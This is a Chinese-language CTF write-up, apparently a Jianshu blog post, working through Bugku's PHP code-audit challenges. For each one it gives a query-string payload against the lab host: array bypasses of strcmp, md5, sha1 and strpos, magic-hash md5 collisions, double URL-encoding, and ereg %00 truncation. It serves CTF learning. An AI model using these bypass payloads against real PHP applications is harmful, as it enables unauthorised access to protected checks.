Bugku------代碼審計

新銀報到,多多指教,如有錯誤,多謝指出

extract變量覆蓋

http://120.24.86.145:9009/1.php

第一次遇到extract()函數(shù),百度一波含義(回到家后google被ban了):

@http://www.w3school.com.cn/php/func_array_extract.asp(來自W3school)

這樣就簡單了,直接構(gòu)造payload:?shiyan=&flag,得到flag.

strcmp比較字符串

http://120.24.86.145:9009/6.php,題目崩了,flag是第一道題的

做的時候這道題目崩了,不過既然提到了strcmp,那么一定會用到數(shù)組繞過,隨便丟了一個a[]進去,flag出來了???

urldecode二次編碼繞過

http://120.24.86.145:9009/10.php

百度一波相關(guān)函數(shù):

????????eregi()函數(shù)在一個字符串搜索指定的模式的字符串。搜索不區(qū)分大小寫。

? ? 這樣題目就簡單了:

? ? ? ? 第一關(guān):id不能等于hackerDJ

????????第二關(guān):$_GET[id] = urldecode($_GET[id]);

? ? ? ? 第三關(guān) :if($_GET[id] == "hackerDJ")

? ? 這道題很豐富了我的見識,讓我感覺到一直以來我對GET函數(shù)了解的還不是很深刻。

? ? 剛開始我做這道題的時候,直接將id賦值為hackerDJ的一次url編碼,然后撲街了好久,最后多虧了題目的提示二次編碼繞過將id賦值為hackerDJ的二次url編碼,才得到flag,之后我又對題目進行了分析:

好題,好題。

md5()函數(shù)

http://120.24.86.145:9009/18.php

這道題就是使username!=password? ? &&? ? md5(username)===md5(password)

這樣就很簡單了,直接將240610708和QNKCDZO分別對上述賦值即可。

另外一種比較簡單的方法就是md5()方法無法處理數(shù)組,直接構(gòu)造payload:? ?

? ? username[]=1&password[]=2即可

數(shù)組返回NULL繞過

http://120.24.86.145:9009/19.php

遇到 了熟悉的ereg函數(shù),直接用%00截斷。

還有熟悉的strpos函數(shù),直接用數(shù)組截斷。

構(gòu)造如下payload:http://120.24.86.145:9009/19.php?password[]=%00

sha()函數(shù)比較繞過

http://120.24.86.145:9009/7.php

比較長的一道題目,emmmmm。

需要對name和password進行賦值,而且需要他們的值不等,但是sha1的值相等。

sha1()函數(shù)無法處理數(shù)組,直接構(gòu)造如下payload:

? ??????http://120.24.86.145:9009/7.php?name[]=1&password[]=2

md5加密相等繞過

http://120.24.86.145:9009/13.php

這道題上面已經(jīng)說過了,兩個md5加密相等的值為240610708和QNKCDZO,這里需要將a賦值為240610708直接得到flag,payload:

? ??http://120.24.86.145:9009/13.php?a=240610708

十六進制與數(shù)字比較

http://120.24.86.145:9009/20.php

又是一道老長老長的題目,瀏覽一遍程序,最后需要number==temp是才可以輸出flag ,然后我們可以對password賦值,根據(jù)題目提示,直接將password賦值為number的十六進制,然后flag出來了??(0x表示16進制)

payload:http://120.24.86.145:9009/20.php?password=0xdeadc0de

ereg正則%00截斷

http://120.24.86.145:9009/5.php

題目需要對password賦值

? ? 關(guān)卡1:if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)? ? ?? ? %00截斷

? ? 關(guān)卡2:strlen($_GET['password']) < 8 && $_GET['password'] > 9999999

? ? ? ? ? ? ?可以用數(shù)組繞過,并且這里為&&,前面可以用數(shù)組截斷(True),后面數(shù)組中有字母以及%,無法解析(true)。

? ? 關(guān)卡3:strpos ($_GET['password'], '-') !== FALSE)? ? ?也可以用數(shù)組繞過

? ? 最終我的payload:

? ??????????????http://120.24.86.145:9009/5.php?password[]=1%00

strpos數(shù)組繞過

http://120.24.86.145:9009/15.php

對ctf進行賦值

? ? 關(guān)卡1:if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)? ? 用%00截斷

? ? 關(guān)卡2:else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) 用數(shù)組截斷

? ? 最終我的payload:

? ??????????????http://120.24.86.145:9009/15.php?ctf[]=1%00

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容